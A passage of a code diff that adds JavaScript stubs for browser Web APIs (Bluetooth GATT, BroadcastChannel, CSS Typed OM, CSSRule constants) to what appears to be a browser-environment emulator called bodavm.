arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BluetoothRemoteGATTCharacteristic', "writeValueWithoutResponse", { + configurable: true, + enumerable: true, + writable: true, + value: function writeValueWithoutResponse() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothRemoteGATTCharacteristic'].prototype, "BluetoothRemoteGATTCharacteristic", "writeValueWithoutResponse", arguments); + } +}, 'prototype'); +// BluetoothRemoteGATTDescriptor对象 + +bodavm.memory.globalobj['BluetoothRemoteGATTDescriptor'] = function BluetoothRemoteGATTDescriptor() { + console.log_copy('BluetoothRemoteGATTDescriptor 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof BluetoothRemoteGATTDescriptor)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['BluetoothRemoteGATTDescriptor'], "BluetoothRemoteGATTDescriptor"); +bodavm.toolsFunc.defineProperty('BluetoothRemoteGATTDescriptor', "characteristic", { + configurable: true, + enumerable: true, + get: function characteristic() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothRemoteGATTDescriptor'].prototype, "BluetoothRemoteGATTDescriptor", "characteristic_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BluetoothRemoteGATTDescriptor', "uuid", { + configurable: true, + enumerable: true, + get: function uuid() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothRemoteGATTDescriptor'].prototype, "BluetoothRemoteGATTDescriptor", "uuid_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BluetoothRemoteGATTDescriptor', "value", { + configurable: true, + enumerable: true, + get: function value() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothRemoteGATTDescriptor'].prototype, "BluetoothRemoteGATTDescriptor", "value_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BluetoothRemoteGATTDescriptor', "readValue", { + configurable: true, + enumerable: true, + writable: true, + value: function readValue() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothRemoteGATTDescriptor'].prototype, "BluetoothRemoteGATTDescriptor", "readValue", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BluetoothRemoteGATTDescriptor', "writeValue", { + configurable: true, + enumerable: true, + writable: true, + value: function writeValue() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothRemoteGATTDescriptor'].prototype, "BluetoothRemoteGATTDescriptor", "writeValue", arguments); + } +}, 'prototype'); +// BluetoothRemoteGATTServer对象 + +bodavm.memory.globalobj['BluetoothRemoteGATTServer'] = function BluetoothRemoteGATTServer() { + console.log_copy('BluetoothRemoteGATTServer 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof BluetoothRemoteGATTServer)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['BluetoothRemoteGATTServer'], "BluetoothRemoteGATTServer"); +bodavm.toolsFunc.defineProperty('BluetoothRemoteGATTServer', "device", { + configurable: true, + enumerable: true, + get: function device() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothRemoteGATTServer'].prototype, "BluetoothRemoteGATTServer", "device_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BluetoothRemoteGATTServer', "connected", { + configurable: true, + enumerable: true, + get: function connected() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothRemoteGATTServer'].prototype, "BluetoothRemoteGATTServer", "connected_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BluetoothRemoteGATTServer', "connect", { + configurable: true, + enumerable: true, + writable: true, + value: function connect() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothRemoteGATTServer'].prototype, "BluetoothRemoteGATTServer", "connect", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BluetoothRemoteGATTServer', "disconnect", { + configurable: true, + enumerable: true, + writable: true, + value: function disconnect() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothRemoteGATTServer'].prototype, "BluetoothRemoteGATTServer", "disconnect", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BluetoothRemoteGATTServer', "getPrimaryService", { + configurable: true, + enumerable: true, + writable: true, + value: function getPrimaryService() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothRemoteGATTServer'].prototype, "BluetoothRemoteGATTServer", "getPrimaryService", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BluetoothRemoteGATTServer', "getPrimaryServices", { + configurable: true, + enumerable: true, + writable: true, + value: function getPrimaryServices() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothRemoteGATTServer'].prototype, "BluetoothRemoteGATTServer", "getPrimaryServices", arguments); + } +}, 'prototype'); +// BluetoothRemoteGATTService对象 + +bodavm.memory.globalobj['BluetoothRemoteGATTService'] = function BluetoothRemoteGATTService() { + console.log_copy('BluetoothRemoteGATTService 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof BluetoothRemoteGATTService)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['BluetoothRemoteGATTService'], "BluetoothRemoteGATTService"); +bodavm.toolsFunc.defineProperty('BluetoothRemoteGATTService', "device", { + configurable: true, + enumerable: true, + get: function device() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothRemoteGATTService'].prototype, "BluetoothRemoteGATTService", "device_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BluetoothRemoteGATTService', "uuid", { + configurable: true, + enumerable: true, + get: function uuid() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothRemoteGATTService'].prototype, "BluetoothRemoteGATTService", "uuid_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BluetoothRemoteGATTService', "isPrimary", { + configurable: true, + enumerable: true, + get: function isPrimary() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothRemoteGATTService'].prototype, "BluetoothRemoteGATTService", "isPrimary_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BluetoothRemoteGATTService', "getCharacteristic", { + configurable: true, + enumerable: true, + writable: true, + value: function getCharacteristic() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothRemoteGATTService'].prototype, "BluetoothRemoteGATTService", "getCharacteristic", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BluetoothRemoteGATTService', "getCharacteristics", { + configurable: true, + enumerable: true, + writable: true, + value: function getCharacteristics() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothRemoteGATTService'].prototype, "BluetoothRemoteGATTService", "getCharacteristics", arguments); + } +}, 'prototype'); +// blur对象 + +bodavm.memory.globalobj['blur'] = { + _boisinit: bodavm.config.isinit +}; +bodavm.toolsFunc.defineProperty('blur', "length", { + configurable: true, + enumerable: false, + writable: false, + value: 0 +}); +bodavm.toolsFunc.defineProperty('blur', "name", { + configurable: true, + enumerable: false, + writable: false, + value: "blur" +}); +// BroadcastChannel对象 + +bodavm.memory.globalobj['BroadcastChannel'] = function BroadcastChannel() { + console.log_copy('BroadcastChannel 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof BroadcastChannel)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'BroadcastChannel': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['BroadcastChannel'], "BroadcastChannel"); +bodavm.memory.globalobj['BroadcastChannel'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['BroadcastChannel'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('BroadcastChannel', "name", { + configurable: true, + enumerable: true, + get: function name() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BroadcastChannel'].prototype, "BroadcastChannel", "name_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BroadcastChannel', "onmessage", { + configurable: true, + enumerable: true, + get: function onmessage() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BroadcastChannel'].prototype, "BroadcastChannel", "onmessage_get", arguments); + }, + set: function onmessage() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BroadcastChannel'].prototype, "BroadcastChannel", "onmessage_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BroadcastChannel', "onmessageerror", { + configurable: true, + enumerable: true, + get: function onmessageerror() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BroadcastChannel'].prototype, "BroadcastChannel", "onmessageerror_get", arguments); + }, + set: function onmessageerror() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BroadcastChannel'].prototype, "BroadcastChannel", "onmessageerror_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BroadcastChannel', "close", { + configurable: true, + enumerable: true, + writable: true, + value: function close() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BroadcastChannel'].prototype, "BroadcastChannel", "close", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BroadcastChannel', "postMessage", { + configurable: true, + enumerable: true, + writable: true, + value: function postMessage() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BroadcastChannel'].prototype, "BroadcastChannel", "postMessage", arguments); + } +}, 'prototype'); +// BrowserCaptureMediaStreamTrack对象 + +bodavm.memory.globalobj['BrowserCaptureMediaStreamTrack'] = function BrowserCaptureMediaStreamTrack() { + console.log_copy('BrowserCaptureMediaStreamTrack 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof BrowserCaptureMediaStreamTrack)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['BrowserCaptureMediaStreamTrack'], "BrowserCaptureMediaStreamTrack"); +bodavm.memory.globalobj['BrowserCaptureMediaStreamTrack'].prototype.__proto__ = bodavm.memory.globalobj['MediaStreamTrack'].prototype; +bodavm.memory.globalobj['BrowserCaptureMediaStreamTrack'].__proto__ = bodavm.memory.globalobj['MediaStreamTrack']; +bodavm.toolsFunc.defineProperty('BrowserCaptureMediaStreamTrack', "cropTo", { + configurable: true, + enumerable: true, + writable: true, + value: function cropTo() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BrowserCaptureMediaStreamTrack'].prototype, "BrowserCaptureMediaStreamTrack", "cropTo", arguments); + } +}, 'prototype'); +// StyleSheet对象 + +bodavm.memory.globalobj['StyleSheet'] = function StyleSheet() { + console.log_copy('StyleSheet 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof StyleSheet)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['StyleSheet'], "StyleSheet"); +bodavm.toolsFunc.defineProperty('StyleSheet', "type", { + configurable: true, + enumerable: true, + get: function type() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['StyleSheet'].prototype, "StyleSheet", "type_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('StyleSheet', "href", { + configurable: true, + enumerable: true, + get: function href() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['StyleSheet'].prototype, "StyleSheet", "href_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('StyleSheet', "ownerNode", { + configurable: true, + enumerable: true, + get: function ownerNode() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['StyleSheet'].prototype, "StyleSheet", "ownerNode_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('StyleSheet', "parentStyleSheet", { + configurable: true, + enumerable: true, + get: function parentStyleSheet() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['StyleSheet'].prototype, "StyleSheet", "parentStyleSheet_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('StyleSheet', "title", { + configurable: true, + enumerable: true, + get: function title() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['StyleSheet'].prototype, "StyleSheet", "title_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('StyleSheet', "media", { + configurable: true, + enumerable: true, + get: function media() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['StyleSheet'].prototype, "StyleSheet", "media_get", arguments); + }, + set: function media() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['StyleSheet'].prototype, "StyleSheet", "media_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('StyleSheet', "disabled", { + configurable: true, + enumerable: true, + get: function disabled() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['StyleSheet'].prototype, "StyleSheet", "disabled_get", arguments); + }, + set: function disabled() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['StyleSheet'].prototype, "StyleSheet", "disabled_set", arguments); + } +}, 'prototype'); +// CSSStyleValue对象 + +bodavm.memory.globalobj['CSSStyleValue'] = function CSSStyleValue() { + console.log_copy('CSSStyleValue 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof CSSStyleValue)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSStyleValue'], "CSSStyleValue"); +bodavm.toolsFunc.defineProperty('CSSStyleValue', "parse", { + configurable: true, + enumerable: true, + writable: true, + value: function parse() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSStyleValue'].undefined, "CSSStyleValue", "parse", arguments); + } +}); +bodavm.toolsFunc.defineProperty('CSSStyleValue', "parseAll", { + configurable: true, + enumerable: true, + writable: true, + value: function parseAll() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSStyleValue'].undefined, "CSSStyleValue", "parseAll", arguments); + } +}); +bodavm.toolsFunc.defineProperty('CSSStyleValue', "toString", { + configurable: true, + enumerable: true, + writable: true, + value: function toString() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSStyleValue'].prototype, "CSSStyleValue", "toString", arguments); + } +}, 'prototype'); +// CSSNumericValue对象 + +bodavm.memory.globalobj['CSSNumericValue'] = function CSSNumericValue() { + console.log_copy('CSSNumericValue 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof CSSNumericValue)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSNumericValue'], "CSSNumericValue"); +bodavm.memory.globalobj['CSSNumericValue'].prototype.__proto__ = bodavm.memory.globalobj['CSSStyleValue'].prototype; +bodavm.memory.globalobj['CSSNumericValue'].__proto__ = bodavm.memory.globalobj['CSSStyleValue']; +bodavm.toolsFunc.defineProperty('CSSNumericValue', "parse", { + configurable: true, + enumerable: true, + writable: true, + value: function parse() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSNumericValue'].undefined, "CSSNumericValue", "parse", arguments); + } +}); +bodavm.toolsFunc.defineProperty('CSSNumericValue', "add", { + configurable: true, + enumerable: true, + writable: true, + value: function add() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSNumericValue'].prototype, "CSSNumericValue", "add", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSNumericValue', "div", { + configurable: true, + enumerable: true, + writable: true, + value: function div() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSNumericValue'].prototype, "CSSNumericValue", "div", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSNumericValue', "equals", { + configurable: true, + enumerable: true, + writable: true, + value: function equals() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSNumericValue'].prototype, "CSSNumericValue", "equals", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSNumericValue', "max", { + configurable: true, + enumerable: true, + writable: true, + value: function max() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSNumericValue'].prototype, "CSSNumericValue", "max", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSNumericValue', "min", { + configurable: true, + enumerable: true, + writable: true, + value: function min() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSNumericValue'].prototype, "CSSNumericValue", "min", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSNumericValue', "mul", { + configurable: true, + enumerable: true, + writable: true, + value: function mul() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSNumericValue'].prototype, "CSSNumericValue", "mul", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSNumericValue', "sub", { + configurable: true, + enumerable: true, + writable: true, + value: function sub() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSNumericValue'].prototype, "CSSNumericValue", "sub", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSNumericValue', "to", { + configurable: true, + enumerable: true, + writable: true, + value: function to() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSNumericValue'].prototype, "CSSNumericValue", "to", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSNumericValue', "toSum", { + configurable: true, + enumerable: true, + writable: true, + value: function toSum() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSNumericValue'].prototype, "CSSNumericValue", "toSum", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSNumericValue', "type", { + configurable: true, + enumerable: true, + writable: true, + value: function type() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSNumericValue'].prototype, "CSSNumericValue", "type", arguments); + } +}, 'prototype'); +// CSSMathValue对象 + +bodavm.memory.globalobj['CSSMathValue'] = function CSSMathValue() { + console.log_copy('CSSMathValue 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof CSSMathValue)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSMathValue'], "CSSMathValue"); +bodavm.memory.globalobj['CSSMathValue'].prototype.__proto__ = bodavm.memory.globalobj['CSSNumericValue'].prototype; +bodavm.memory.globalobj['CSSMathValue'].__proto__ = bodavm.memory.globalobj['CSSNumericValue']; +bodavm.toolsFunc.defineProperty('CSSMathValue', "operator", { + configurable: true, + enumerable: true, + get: function operator() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSMathValue'].prototype, "CSSMathValue", "operator_get", arguments); + }, + set: undefined +}, 'prototype'); +// CSSTransformComponent对象 + +bodavm.memory.globalobj['CSSTransformComponent'] = function CSSTransformComponent() { + console.log_copy('CSSTransformComponent 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof CSSTransformComponent)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSTransformComponent'], "CSSTransformComponent"); +bodavm.toolsFunc.defineProperty('CSSTransformComponent', "is2D", { + configurable: true, + enumerable: true, + get: function is2D() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSTransformComponent'].prototype, "CSSTransformComponent", "is2D_get", arguments); + }, + set: function is2D() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSTransformComponent'].prototype, "CSSTransformComponent", "is2D_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSTransformComponent', "toMatrix", { + configurable: true, + enumerable: true, + writable: true, + value: function toMatrix() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSTransformComponent'].prototype, "CSSTransformComponent", "toMatrix", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSTransformComponent', "toString", { + configurable: true, + enumerable: true, + writable: true, + value: function toString() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSTransformComponent'].prototype, "CSSTransformComponent", "toString", arguments); + } +}, 'prototype'); +// CSSRule对象 + +bodavm.memory.globalobj['CSSRule'] = function CSSRule() { + console.log_copy('CSSRule 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof CSSRule)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSRule'], "CSSRule"); +bodavm.toolsFunc.defineProperty('CSSRule', "STYLE_RULE", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}); +bodavm.toolsFunc.defineProperty('CSSRule', "CHARSET_RULE", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}); +bodavm.toolsFunc.defineProperty('CSSRule', "IMPORT_RULE", { + configurable: false, + enumerable: true, + writable: false, + value: 3 +}); +bodavm.toolsFunc.defineProperty('CSSRule', "MEDIA_RULE", { + configurable: false, + enumerable: true, + writable: false, + value: 4 +}); +bodavm.toolsFunc.defineProperty('CSSRule', "FONT_FACE_RULE", { + configurable: false, + enumerable: true, + writable: false, + value: 5 +}); +bodavm.toolsFunc.defineProperty('CSSRule', "PAGE_RULE", { + configurable: false, + enumerable: true, + writable: false, + value: 6 +}); +bodavm.toolsFunc.defineProperty('CSSRule', "NAMESPACE_RULE", { + configurable: false, + enumerable: true, + writable: false, + value: 10 +}); +bodavm.toolsFunc.defineProperty('CSSRule', "KEYFRAMES_RULE", { + configurable: false, + enumerable: true, + writable: false, + value: 7 +}); +bodavm.toolsFunc.defineProperty('CSSRule', "KEYFRAME_RULE", { + configurable: false, + enumerable: true, + writable: false, + value: 8 +}); +bodavm.toolsFunc.defineProperty('CSSRule', "COUNTER_STYLE_RULE", { + configurable: false, + enumerable: true, + writable: false, + value: 11 +}); +bodavm.toolsFunc.defineProperty('CSSRule', "SUPPORTS_RULE", { + configurable: false, + enumerable: true, + writable: false, + value: 12 +}); +bodavm.toolsFunc.defineProperty('CSSRule', "FONT_FEATURE_VALUES_RULE", { + configurable: false, + enumerable: true, + writable: false, + value: 14 +}); +bodavm.toolsFunc.defineProperty('CSSRule', "type", { + configurable: true, + enumerable: true, + get: function type() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSRule'].prototype, "CSSRule", "type_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSRule', "cssText", { + configurable: true, + enumerable: true, + get: function cssText() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSRule'].prototype, "CSSRule", "cssText_get", arguments); + }, + set: function cssText() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSRule'].prototype, "CSSRule", "cssText_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSRule', "parentRule", { + configurable: true, + enumerable: true, + get: function parentRule() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSRule'].prototype, "CSSRule", "parentRule_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSRule', "parentStyleSheet", { + configurable: true, + enumerable: true, + get: function parentStyleSheet() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSRule'].prototype, "CSSRule", "parentStyleSheet_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSRule', "STYLE_RULE", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSRule', "CHARSET_RULE", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSRule', "IMPORT_RULE", { + configurable: false, + enumerable: true, + writable: false, + value: 3 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSRule', "MEDIA_RULE", { + configurable: false, + enumerable: true, + writable: false, + value: 4 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSRule', "FONT_FACE_RULE", { + configurable: false, + enumerable: true, + writable: false, + value: 5 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSRule', "PAGE_RULE", { + configurable: false, + enumerable: true, + writable: false, + value: 6 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSRule', "NAMESPACE_RULE", { + configurable: false, + enumerable: true, + writable: false, + value: 10 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSRule', "KEYFRAMES_RULE", { + configurable: false, + enumerable: true, + writable: false, + value: 7 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSRule', "KEYFRAME_RULE", { + configurable: false, + enumerable: true, + writable: false, + value: 8 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSRule', "COUNTER_STYLE_RULE", { + configurable: false, + enumerable: true, + writable: false, + value: 11 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSRule', "SUPPORTS_RULE", { + configurable: false, + enumerable: true, + writable: false, + value: 12 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSRule', "FONT_FEATURE_VALUES_RULE", { + configurable: false, + enumerable: true, + writable: false, + value: 14 +}, 'prototype'); +// CSSGroupingRule对象 + +bodavm.memory.globalobj['CSSGroupingRule'] = function CSSGroupingRule() { + console.log_copy('CSSGroupingRule 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof CSSGroupingRule)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSGroupingRule'], "CSSGroupingRule"); +bodavm.memory.globalobj['CSSGroupingRule'].prototype.__proto__ = bodavm.memory.globalobj['CSSRule'].prototype; +bodavm.memory.globalobj['CSSGroupingRule'].__proto__ = bodavm.memory.globalobj['CSSRule']; +bodavm.toolsFunc.defineProperty('CSSGroupingRule', "cssRules", { + configurable: true, + enumerable: true, + get: function cssRules() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSGroupingRule'].prototype, "CSSGroupingRule", "cssRules_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSGroupingRule', "deleteRule", { + configurable: true, + enumerable: true, + writable: true, + value: function deleteRule() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSGroupingRule'].prototype, "CSSGroupingRule", "deleteRule", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSGroupingRule', "insertRule", { + configurable: true, + enumerable: true, + writable: true, + value: function insertRule() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSGroupingRule'].prototype, "CSSGroupingRule", "insertRule", arguments); + } +}, 'prototype'); +// ByteLengthQueuingStrategy对象 + +bodavm.memory.globalobj['ByteLengthQueuingStrategy'] = function ByteLengthQueuingStrategy() { + console.log_copy('ByteLengthQueuingStrategy 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof ByteLengthQueuingStrategy)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'ByteLengthQueuingStrategy': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['ByteLengthQueuingStrategy'], "ByteLengthQueuingStrategy"); +bodavm.toolsFunc.defineProperty('ByteLengthQueuingStrategy', "highWaterMark", { + configurable: true, + enumerable: true, + get: function highWaterMark() { + return bodavm.toolsFunc.dispatch(this, 